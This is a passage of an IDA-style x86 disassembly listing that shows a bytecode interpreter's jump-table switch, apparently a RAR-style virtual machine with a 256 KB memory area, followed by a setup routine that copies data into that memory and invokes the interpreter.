loc_9B43CF:				; CODE XREF: sub_9B4244+1B5j
		test	eax, eax
		jmp	loc_9B4491
; ---------------------------------------------------------------------------


loc_9B43D6:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		inc	byte ptr [esi]	; jumptable 009B4299 case 48
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B43DD:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		inc	dword ptr [esi]	; jumptable 009B4299 case 49
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B43E4:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 7
		test	ecx, ecx
		jz	short loc_9B43F0
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B43F2
; ---------------------------------------------------------------------------


loc_9B43F0:				; CODE XREF: sub_9B4244+1A5j
		mov	eax, [esi]


loc_9B43F2:				; CODE XREF: sub_9B4244+1AAj
		dec	eax


loc_9B43F3:				; CODE XREF: sub_9B4244+187j
		test	ecx, ecx
		jz	short loc_9B43CD
		mov	[esi], al
		jmp	short loc_9B43CF
; ---------------------------------------------------------------------------


loc_9B43FB:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		dec	byte ptr [esi]	; jumptable 009B4299 case 50
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4402:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		dec	dword ptr [esi]	; jumptable 009B4299 case 51
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4409:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 9
		test	ecx, ecx
		jz	short loc_9B4415
		movzx	edx, byte ptr [esi]
		jmp	short loc_9B4417
; ---------------------------------------------------------------------------


loc_9B4415:				; CODE XREF: sub_9B4244+1CAj
		mov	edx, [esi]


loc_9B4417:				; CODE XREF: sub_9B4244+1CFj
		test	ecx, ecx
		jz	short loc_9B4420
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B4422
; ---------------------------------------------------------------------------


loc_9B4420:				; CODE XREF: sub_9B4244+1D5j
		mov	eax, [eax]


loc_9B4422:				; CODE XREF: sub_9B4244+1DAj
		xor	eax, edx
		jmp	short loc_9B445E
; ---------------------------------------------------------------------------


loc_9B4426:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 10
		test	ecx, ecx
		jz	short loc_9B4432
		movzx	edx, byte ptr [esi]
		jmp	short loc_9B4434
; ---------------------------------------------------------------------------


loc_9B4432:				; CODE XREF: sub_9B4244+1E7j
		mov	edx, [esi]


loc_9B4434:				; CODE XREF: sub_9B4244+1ECj
		test	ecx, ecx
		jz	short loc_9B443D
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B443F
; ---------------------------------------------------------------------------


loc_9B443D:				; CODE XREF: sub_9B4244+1F2j
		mov	eax, [eax]


loc_9B443F:				; CODE XREF: sub_9B4244+1F7j
		and	eax, edx
		jmp	short loc_9B445E
; ---------------------------------------------------------------------------


loc_9B4443:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 11
		test	ecx, ecx
		jz	short loc_9B444F
		movzx	edx, byte ptr [esi]
		jmp	short loc_9B4451
; ---------------------------------------------------------------------------


loc_9B444F:				; CODE XREF: sub_9B4244+204j
		mov	edx, [esi]


loc_9B4451:				; CODE XREF: sub_9B4244+209j
		test	ecx, ecx
		jz	short loc_9B445A
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B445C
; ---------------------------------------------------------------------------


loc_9B445A:				; CODE XREF: sub_9B4244+20Fj
		mov	eax, [eax]


loc_9B445C:				; CODE XREF: sub_9B4244+214j
		or	eax, edx


loc_9B445E:				; CODE XREF: sub_9B4244+1E0j
					; sub_9B4244+1FDj
		mov	ecx, eax
		jnz	short loc_9B446A


loc_9B4462:				; CODE XREF: sub_9B4244+100j
					; sub_9B4244+139j ...
		push	2
		pop	eax
		jmp	loc_9B4630
; ---------------------------------------------------------------------------


loc_9B446A:				; CODE XREF: sub_9B4244+21Cj
		mov	eax, ecx
		and	eax, 80000000h
		jmp	loc_9B4630
; ---------------------------------------------------------------------------


loc_9B4476:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 12
		test	ecx, ecx
		jz	short loc_9B4482
		movzx	esi, byte ptr [esi]
		jmp	short loc_9B4484
; ---------------------------------------------------------------------------


loc_9B4482:				; CODE XREF: sub_9B4244+237j
		mov	esi, [esi]


loc_9B4484:				; CODE XREF: sub_9B4244+23Cj
		test	ecx, ecx
		jz	short loc_9B448D
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B448F
; ---------------------------------------------------------------------------


loc_9B448D:				; CODE XREF: sub_9B4244+242j
		mov	eax, [eax]


loc_9B448F:				; CODE XREF: sub_9B4244+247j
		and	eax, esi


loc_9B4491:				; CODE XREF: sub_9B4244+18Dj
		jz	loc_9B42DD
		and	eax, 80000000h


loc_9B449C:				; CODE XREF: sub_9B4244+9Cj
					; sub_9B4244+AFj
		mov	[edi+24h], eax
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B44A4:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+27h], 80h	; jumptable 009B4299 case 13
		jmp	short loc_9B44BA
; ---------------------------------------------------------------------------


loc_9B44AA:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+27h], 80h	; jumptable 009B4299 case 14
		jmp	short loc_9B44CC
; ---------------------------------------------------------------------------


loc_9B44B0:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+24h], 1 ;	jumptable 009B4299 case	15
		jmp	short loc_9B44BA
; ---------------------------------------------------------------------------


loc_9B44B6:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+24h], 3 ;	jumptable 009B4299 case	16


loc_9B44BA:				; CODE XREF: sub_9B4244+16Aj
					; sub_9B4244+264j ...
		jz	loc_9B4850	; default
					; jumptable 009B4299 case 39
		jmp	short loc_9B44D2 ; jumptable 009B4299 case 8
; ---------------------------------------------------------------------------


loc_9B44C2:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+24h], 3 ;	jumptable 009B4299 case	17
		jmp	short loc_9B44CC
; ---------------------------------------------------------------------------


loc_9B44C8:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		test	byte ptr [edi+24h], 1 ;	jumptable 009B4299 case	18


loc_9B44CC:				; CODE XREF: sub_9B4244+173j
					; sub_9B4244+26Aj ...
		jnz	loc_9B4850	; default
					; jumptable 009B4299 case 39


loc_9B44D2:				; CODE XREF: sub_9B4244+55j
					; sub_9B4244+27Cj
					; DATA XREF: ...
		mov	esi, [esi]	; jumptable 009B4299 case 8
		cmp	esi, [ebp+arg_4]
		jnb	loc_9B4867
		dec	[ebp+var_4]
		cmp	[ebp+var_4], 0
		jle	loc_9B426B
		lea	eax, [esi+esi*4]
		lea	ebx, [edx+eax*8]
		jmp	loc_9B4856
; ---------------------------------------------------------------------------


loc_9B44F5:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		add	dword ptr [edi+20h], 0FFFFFFFCh	; jumptable 009B4299 case 19
		mov	edx, [esi]
		jmp	loc_9B46BD
; ---------------------------------------------------------------------------


loc_9B4500:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	eax, [edi+20h]	; jumptable 009B4299 case 20
		mov	ecx, [edi]
		and	eax, 3FFFFh
		mov	eax, [eax+ecx]
		mov	[esi], eax
		add	dword ptr [edi+20h], 4
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4518:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	eax, ebx	; jumptable 009B4299 case 21
		sub	eax, [ebp+arg_0]
		push	28h
		cdq
		pop	ebx
		idiv	ebx
		add	dword ptr [edi+20h], 0FFFFFFFCh
		mov	ecx, [edi+20h]
		mov	edx, [edi]
		and	ecx, 3FFFFh
		inc	eax
		mov	[ecx+edx], eax
		mov	esi, [esi]
		cmp	esi, [ebp+arg_4]
		jnb	loc_9B4867
		dec	[ebp+var_4]
		cmp	[ebp+var_4], 0
		jle	loc_9B426B
		mov	ecx, [ebp+arg_0]
		lea	eax, [esi+esi*4]
		lea	ebx, [ecx+eax*8]
		jmp	loc_9B4856
; ---------------------------------------------------------------------------


loc_9B455C:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		cmp	dword ptr [ebx+4], 0 ; jumptable 009B4299 case 23
		jz	short loc_9B456C
		movzx	eax, byte ptr [esi]
		not	al
		jmp	loc_9B477D
; ---------------------------------------------------------------------------


loc_9B456C:				; CODE XREF: sub_9B4244+31Cj
		mov	eax, [esi]
		not	eax
		jmp	loc_9B42B0
; ---------------------------------------------------------------------------


loc_9B4575:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ebx, [ebx+4]	; jumptable 009B4299 case 24
		test	ebx, ebx
		jz	short loc_9B4581
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B4583
; ---------------------------------------------------------------------------


loc_9B4581:				; CODE XREF: sub_9B4244+336j
		mov	eax, [esi]


loc_9B4583:				; CODE XREF: sub_9B4244+33Bj
		test	ebx, ebx
		jz	short loc_9B458C
		movzx	ecx, byte ptr [esi]
		jmp	short loc_9B458E
; ---------------------------------------------------------------------------


loc_9B458C:				; CODE XREF: sub_9B4244+341j
		mov	ecx, [esi]


loc_9B458E:				; CODE XREF: sub_9B4244+346j
		mov	edx, eax
		shl	edx, cl
		test	edx, edx
		jnz	short loc_9B459B
		push	2
		pop	ebx
		jmp	short loc_9B45A3
; ---------------------------------------------------------------------------


loc_9B459B:				; CODE XREF: sub_9B4244+350j
		mov	ebx, edx
		and	ebx, 80000000h


loc_9B45A3:				; CODE XREF: sub_9B4244+355j
		dec	ecx
		shl	eax, cl
		shr	eax, 1Fh
		jmp	short loc_9B45FE
; ---------------------------------------------------------------------------


loc_9B45AB:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ebx, [ebx+4]	; jumptable 009B4299 case 25
		test	ebx, ebx
		jz	short loc_9B45B7
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B45B9
; ---------------------------------------------------------------------------


loc_9B45B7:				; CODE XREF: sub_9B4244+36Cj
		mov	eax, [esi]


loc_9B45B9:				; CODE XREF: sub_9B4244+371j
		test	ebx, ebx
		jz	short loc_9B45C2
		movzx	ecx, byte ptr [esi]
		jmp	short loc_9B45C4
; ---------------------------------------------------------------------------


loc_9B45C2:				; CODE XREF: sub_9B4244+377j
		mov	ecx, [esi]


loc_9B45C4:				; CODE XREF: sub_9B4244+37Cj
		mov	edx, eax
		shr	edx, cl


loc_9B45C8:				; CODE XREF: sub_9B4244+3AAj
		test	edx, edx
		jnz	short loc_9B45F0
		push	2
		pop	ebx
		jmp	short loc_9B45F8
; ---------------------------------------------------------------------------


loc_9B45D1:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ebx, [ebx+4]	; jumptable 009B4299 case 26
		test	ebx, ebx
		jz	short loc_9B45DD
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B45DF
; ---------------------------------------------------------------------------


loc_9B45DD:				; CODE XREF: sub_9B4244+392j
		mov	eax, [esi]


loc_9B45DF:				; CODE XREF: sub_9B4244+397j
		test	ebx, ebx
		jz	short loc_9B45E8
		movzx	ecx, byte ptr [esi]
		jmp	short loc_9B45EA
; ---------------------------------------------------------------------------


loc_9B45E8:				; CODE XREF: sub_9B4244+39Dj
		mov	ecx, [esi]


loc_9B45EA:				; CODE XREF: sub_9B4244+3A2j
		mov	edx, eax
		sar	edx, cl
		jmp	short loc_9B45C8
; ---------------------------------------------------------------------------


loc_9B45F0:				; CODE XREF: sub_9B4244+386j
		mov	ebx, edx
		and	ebx, 80000000h


loc_9B45F8:				; CODE XREF: sub_9B4244+38Bj
		dec	ecx
		shr	eax, cl
		and	eax, 1


loc_9B45FE:				; CODE XREF: sub_9B4244+365j
		or	eax, ebx
		mov	[edi+24h], eax
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+4], 0
		mov	ebx, eax
		jmp	loc_9B4805
; ---------------------------------------------------------------------------


loc_9B4611:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		cmp	dword ptr [ebx+4], 0 ; jumptable 009B4299 case 27
		jz	short loc_9B461C
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B461E
; ---------------------------------------------------------------------------


loc_9B461C:				; CODE XREF: sub_9B4244+3D1j
		mov	eax, [esi]


loc_9B461E:				; CODE XREF: sub_9B4244+3D6j
		neg	eax
		mov	ecx, eax
		jz	loc_9B4462
		and	eax, 80000001h
		or	eax, 1


loc_9B4630:				; CODE XREF: sub_9B4244+14Fj
					; sub_9B4244+221j ...
		mov	[edi+24h], eax
		cmp	dword ptr [ebx+4], 0
		jz	short loc_9B4640
		mov	[esi], cl
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4640:				; CODE XREF: sub_9B4244+3F3j
		mov	[esi], ecx
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4647:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		neg	byte ptr [esi]	; jumptable 009B4299 case 52
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B464E:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		neg	dword ptr [esi]	; jumptable 009B4299 case 53
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4655:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	eax, [edi+20h]	; jumptable 009B4299 case 28
		sub	eax, 4
		lea	ecx, [edi+4]
		mov	[ebp+var_C], 8


loc_9B4665:				; CODE XREF: sub_9B4244+439j
		mov	ebx, [ecx]
		mov	esi, [edi]
		mov	edx, eax
		and	edx, 3FFFFh
		add	ecx, 4
		sub	eax, 4
		dec	[ebp+var_C]
		mov	[edx+esi], ebx
		jnz	short loc_9B4665
		add	dword ptr [edi+20h], 0FFFFFFE0h
		mov	ebx, [ebp+var_8]
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B468B:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		lea	eax, [edi+20h]	; jumptable 009B4299 case 29
		mov	ecx, [eax]
		mov	[ebp+var_C], 8


loc_9B4697:				; CODE XREF: sub_9B4244+46Bj
		mov	esi, [edi]
		mov	edx, ecx
		and	edx, 3FFFFh
		mov	edx, [edx+esi]
		mov	[eax], edx
		sub	eax, 4
		add	ecx, 4
		dec	[ebp+var_C]
		jnz	short loc_9B4697
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B46B6:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		add	dword ptr [edi+20h], 0FFFFFFFCh	; jumptable 009B4299 case 30
		mov	edx, [edi+24h]


loc_9B46BD:				; CODE XREF: sub_9B4244+2B7j
		mov	eax, [edi+20h]
		mov	ecx, [edi]
		and	eax, 3FFFFh
		mov	[eax+ecx], edx
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B46CF:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	eax, [edi+20h]	; jumptable 009B4299 case 31
		mov	edx, [edi]
		mov	ecx, eax
		and	ecx, 3FFFFh
		mov	ecx, [ecx+edx]
		add	eax, 4
		mov	[edi+24h], ecx
		mov	[edi+20h], eax
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B46ED:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		movzx	eax, byte ptr [eax] ; jumptable	009B4299 case 32
		jmp	loc_9B42B0
; ---------------------------------------------------------------------------


loc_9B46F5:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		movsx	eax, byte ptr [eax] ; jumptable	009B4299 case 33
		jmp	loc_9B42B0
; ---------------------------------------------------------------------------


loc_9B46FD:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+4]	; jumptable 009B4299 case 34
		test	ecx, ecx
		jz	short loc_9B4709
		movzx	edx, byte ptr [esi]
		jmp	short loc_9B470B
; ---------------------------------------------------------------------------


loc_9B4709:				; CODE XREF: sub_9B4244+4BEj
		mov	edx, [esi]


loc_9B470B:				; CODE XREF: sub_9B4244+4C3j
		test	ecx, ecx
		jz	short loc_9B4716
		movzx	ecx, byte ptr [eax]
		mov	[esi], cl
		jmp	short loc_9B471A
; ---------------------------------------------------------------------------


loc_9B4716:				; CODE XREF: sub_9B4244+4C9j
		mov	ecx, [eax]
		mov	[esi], ecx


loc_9B471A:				; CODE XREF: sub_9B4244+4D0j
		cmp	dword ptr [ebx+4], 0
		jz	short loc_9B4727
		mov	[eax], dl
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4727:				; CODE XREF: sub_9B4244+4DAj
		mov	[eax], edx
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B472E:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	edx, [ebx+4]	; jumptable 009B4299 case 35
		test	edx, edx
		jz	short loc_9B473A
		movzx	ecx, byte ptr [esi]
		jmp	short loc_9B473C
; ---------------------------------------------------------------------------


loc_9B473A:				; CODE XREF: sub_9B4244+4EFj
		mov	ecx, [esi]


loc_9B473C:				; CODE XREF: sub_9B4244+4F4j
		test	edx, edx
		jz	short loc_9B4745
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B4747
; ---------------------------------------------------------------------------


loc_9B4745:				; CODE XREF: sub_9B4244+4FAj
		mov	eax, [eax]


loc_9B4747:				; CODE XREF: sub_9B4244+4FFj
		imul	eax, ecx
		test	edx, edx
		jmp	short loc_9B4777
; ---------------------------------------------------------------------------


loc_9B474E:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	edx, [ebx+4]	; jumptable 009B4299 case 36
		test	edx, edx
		jz	short loc_9B475A
		movzx	ecx, byte ptr [eax]
		jmp	short loc_9B475C
; ---------------------------------------------------------------------------


loc_9B475A:				; CODE XREF: sub_9B4244+50Fj
		mov	ecx, [eax]


loc_9B475C:				; CODE XREF: sub_9B4244+514j
		test	ecx, ecx
		jz	loc_9B4850	; default
					; jumptable 009B4299 case 39
		test	edx, edx
		jz	short loc_9B476D
		movzx	eax, byte ptr [esi]
		jmp	short loc_9B476F
; ---------------------------------------------------------------------------


loc_9B476D:				; CODE XREF: sub_9B4244+522j
		mov	eax, [esi]


loc_9B476F:				; CODE XREF: sub_9B4244+527j
		xor	edx, edx
		div	ecx
		cmp	dword ptr [ebx+4], 0


loc_9B4777:				; CODE XREF: sub_9B4244+508j
		jz	loc_9B42B0


loc_9B477D:				; CODE XREF: sub_9B4244+65j
					; sub_9B4244+75j ...
		mov	[esi], al
		jmp	loc_9B4850	; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B4784:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	edx, [ebx+4]	; jumptable 009B4299 case 37
		test	edx, edx
		jz	short loc_9B4790
		movzx	ecx, byte ptr [esi]
		jmp	short loc_9B4792
; ---------------------------------------------------------------------------


loc_9B4790:				; CODE XREF: sub_9B4244+545j
		mov	ecx, [esi]


loc_9B4792:				; CODE XREF: sub_9B4244+54Aj
		mov	[ebp+var_8], ecx
		mov	ecx, [edi+24h]
		and	ecx, 1
		test	edx, edx
		jz	short loc_9B47A4
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B47A6
; ---------------------------------------------------------------------------


loc_9B47A4:				; CODE XREF: sub_9B4244+559j
		mov	eax, [eax]


loc_9B47A6:				; CODE XREF: sub_9B4244+55Ej
		lea	edx, [eax+ecx]
		add	edx, [ebp+var_8]
		jnz	short loc_9B47B3


loc_9B47AE:				; CODE XREF: sub_9B4244+5A7j
		push	2
		pop	eax
		jmp	short loc_9B47FE
; ---------------------------------------------------------------------------


loc_9B47B3:				; CODE XREF: sub_9B4244+568j
		cmp	edx, [ebp+var_8]
		jb	short loc_9B47F2


loc_9B47B8:				; CODE XREF: sub_9B4244+5ACj
		jnz	short loc_9B47BE
		test	ecx, ecx
		jnz	short loc_9B47F2


loc_9B47BE:				; CODE XREF: sub_9B4244:loc_9B47B8j
		xor	ecx, ecx
		jmp	short loc_9B47F5
; ---------------------------------------------------------------------------


loc_9B47C2:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	edx, [ebx+4]	; jumptable 009B4299 case 38
		test	edx, edx
		jz	short loc_9B47CE
		movzx	ecx, byte ptr [esi]
		jmp	short loc_9B47D0
; ---------------------------------------------------------------------------


loc_9B47CE:				; CODE XREF: sub_9B4244+583j
		mov	ecx, [esi]


loc_9B47D0:				; CODE XREF: sub_9B4244+588j
		mov	[ebp+var_8], ecx
		mov	ecx, [edi+24h]
		and	ecx, 1
		test	edx, edx
		jz	short loc_9B47E2
		movzx	eax, byte ptr [eax]
		jmp	short loc_9B47E4
; ---------------------------------------------------------------------------


loc_9B47E2:				; CODE XREF: sub_9B4244+597j
		mov	eax, [eax]


loc_9B47E4:				; CODE XREF: sub_9B4244+59Cj
		mov	edx, [ebp+var_8]
		sub	edx, eax
		sub	edx, ecx
		jz	short loc_9B47AE
		cmp	edx, [ebp+var_8]
		jbe	short loc_9B47B8


loc_9B47F2:				; CODE XREF: sub_9B4244+572j
					; sub_9B4244+578j
		xor	ecx, ecx
		inc	ecx


loc_9B47F5:				; CODE XREF: sub_9B4244+57Cj
		mov	eax, edx
		and	eax, 80000000h
		or	eax, ecx


loc_9B47FE:				; CODE XREF: sub_9B4244+56Dj
		mov	[edi+24h], eax
		cmp	dword ptr [ebx+4], 0


loc_9B4805:				; CODE XREF: sub_9B4244+3C8j
		jz	short loc_9B480B
		mov	[esi], dl
		jmp	short loc_9B4850 ; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B480B:				; CODE XREF: sub_9B4244:loc_9B4805j
		mov	[esi], edx
		jmp	short loc_9B4850 ; default
					; jumptable 009B4299 case 39
; ---------------------------------------------------------------------------


loc_9B480F:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [edi+20h]	; jumptable 009B4299 case 22
		cmp	ecx, 40000h
		jnb	short loc_9B4867
		mov	esi, [edi]
		mov	eax, ecx
		and	eax, 3FFFFh
		mov	eax, [eax+esi]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_9B4867
		dec	[ebp+var_4]
		cmp	[ebp+var_4], 0
		jle	loc_9B426B
		lea	eax, [eax+eax*4]
		add	ecx, 4
		lea	ebx, [edx+eax*8]
		mov	[edi+20h], ecx
		jmp	short loc_9B4856
; ---------------------------------------------------------------------------


loc_9B4846:				; CODE XREF: sub_9B4244+55j
					; DATA XREF: .text:off_9B4870o
		mov	ecx, [ebx+10h]	; jumptable 009B4299 case 54
		mov	eax, edi
		call	sub_9B3D50


loc_9B4850:				; CODE XREF: sub_9B4244+4Fj
					; sub_9B4244+55j ...
		add	ebx, 28h	; default
					; jumptable 009B4299 case 39
		dec	[ebp+var_4]


loc_9B4856:				; CODE XREF: sub_9B4244+2ACj
					; sub_9B4244+313j ...
		cmp	ebx, [ebp+var_10]
		mov	[ebp+var_8], ebx
		jbe	loc_9B4271
		jmp	loc_9B426B
; ---------------------------------------------------------------------------


loc_9B4867:				; CODE XREF: sub_9B4244+293j
					; sub_9B4244+2F7j ...
		xor	eax, eax
		inc	eax
		jmp	loc_9B426D
sub_9B4244	endp

; ---------------------------------------------------------------------------
		align 10h
off_9B4870	dd offset loc_9B42A0, offset loc_9B42BE, offset	loc_9B4326
					; DATA XREF: sub_9B4244+55r
		dd offset loc_9B4360, offset loc_9B43AA, offset	loc_9B43B3 ; jump table	for switch statement
		dd offset loc_9B43BC, offset loc_9B43E4, offset	loc_9B44D2
		dd offset loc_9B4409, offset loc_9B4426, offset	loc_9B4443
		dd offset loc_9B4476, offset loc_9B44A4, offset	loc_9B44AA
		dd offset loc_9B44B0, offset loc_9B44B6, offset	loc_9B44C2
		dd offset loc_9B44C8, offset loc_9B44F5, offset	loc_9B4500
		dd offset loc_9B4518, offset loc_9B480F, offset	loc_9B455C
		dd offset loc_9B4575, offset loc_9B45AB, offset	loc_9B45D1
		dd offset loc_9B4611, offset loc_9B4655, offset	loc_9B468B
		dd offset loc_9B46B6, offset loc_9B46CF, offset	loc_9B46ED
		dd offset loc_9B46F5, offset loc_9B46FD, offset	loc_9B472E
		dd offset loc_9B474E, offset loc_9B4784, offset	loc_9B47C2
		dd offset loc_9B4850, offset loc_9B42B7, offset	loc_9B42AE
		dd offset loc_9B42F8, offset loc_9B431E, offset	loc_9B434E
		dd offset loc_9B4357, offset loc_9B4398, offset	loc_9B43A1
		dd offset loc_9B43D6, offset loc_9B43DD, offset	loc_9B43FB
		dd offset loc_9B4402, offset loc_9B4647, offset	loc_9B464E
		dd offset loc_9B4846

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9B494C(int,size_t Size)

sub_9B494C	proc near		; CODE XREF: sub_9B0681+53p

arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+Size]
		push	edi
		mov	edi, [ebp+arg_0]
		push	1Ch		; Size
		lea	eax, [esi+24h]
		push	eax		; Src
		lea	eax, [edi+4]
		push	eax		; Dst
		call	memcpy
		mov	eax, [esi+18h]
		mov	ebx, 2000h
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+Size], eax
		jl	short loc_9B497C
		mov	[ebp+Size], ebx


loc_9B497C:				; CODE XREF: sub_9B494C+2Bj
		cmp	[ebp+Size], 0
		jz	short loc_9B4998
		push	[ebp+Size]	; Size
		mov	eax, [edi]
		push	dword ptr [esi+0Ch] ; Src
		add	eax, 3C000h
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch


loc_9B4998:				; CODE XREF: sub_9B494C+34j
		mov	ecx, [ebp+Size]
		mov	eax, [esi+1Ch]
		sub	ebx, ecx
		cmp	eax, ebx
		jb	short loc_9B49A6
		mov	eax, ebx


loc_9B49A6:				; CODE XREF: sub_9B494C+56j
		test	eax, eax
		jz	short loc_9B49C0
		push	eax		; Size
		mov	eax, [edi]
		push	dword ptr [esi+10h] ; Src
		lea	eax, [eax+ecx+3C000h]
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch


loc_9B49C0:				; CODE XREF: sub_9B494C+5Cj
		and	dword ptr [edi+24h], 0
		mov	dword ptr [edi+20h], 40000h
		mov	eax, [esi+8]
		test	eax, eax
		mov	ebx, eax
		jnz	short loc_9B49D6
		mov	ebx, [esi]


loc_9B49D6:				; CODE XREF: sub_9B494C+86j
		test	ebx, ebx
		jz	loc_9B4A69
		push	dword ptr [esi+20h]
		push	ebx
		call	sub_9B4244
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9B49F3
		mov	dword ptr [ebx], 16h


loc_9B49F3:				; CODE XREF: sub_9B494C+9Fj
		mov	edx, [edi]
		mov	ecx, [edx+3C020h]
		mov	eax, [edx+3C01Ch]
		mov	ebx, 3FFFFh
		and	ecx, ebx
		and	eax, ebx
		lea	ebx, [eax+ecx]
		cmp	ebx, 40000h
		jb	short loc_9B4A19
		xor	eax, eax
		xor	ecx, ecx


loc_9B4A19:				; CODE XREF: sub_9B494C+C7j
		mov	[esi+40h], eax
		mov	eax, [esi+0Ch]
		add	edx, ecx
		test	eax, eax
		mov	[esi+14h], edx
		jz	short loc_9B4A38
		push	eax		; Memory
		call	free
		and	dword ptr [esi+0Ch], 0
		and	dword ptr [esi+18h], 0
		pop	ecx


loc_9B4A38:				; CODE XREF: sub_9B494C+DAj
		mov	eax, [edi]
		mov	ebx, [eax+3C030h]
		mov	eax, 2000h
		cmp	ebx, eax
		jb	short loc_9B4A4B
		mov	ebx, eax


loc_9B4A4B:				; CODE XREF: sub_9B494C+FBj
		test	ebx, ebx
		jz	short loc_9B4A83
		lea	eax, [ebx+40h]
		add	[esi+18h], eax
		push	dword ptr [esi+18h] ; NewSize
		push	dword ptr [esi+0Ch] ; Memory
		call	sub_9B2565
		test	eax, eax
		pop	ecx
		pop	ecx
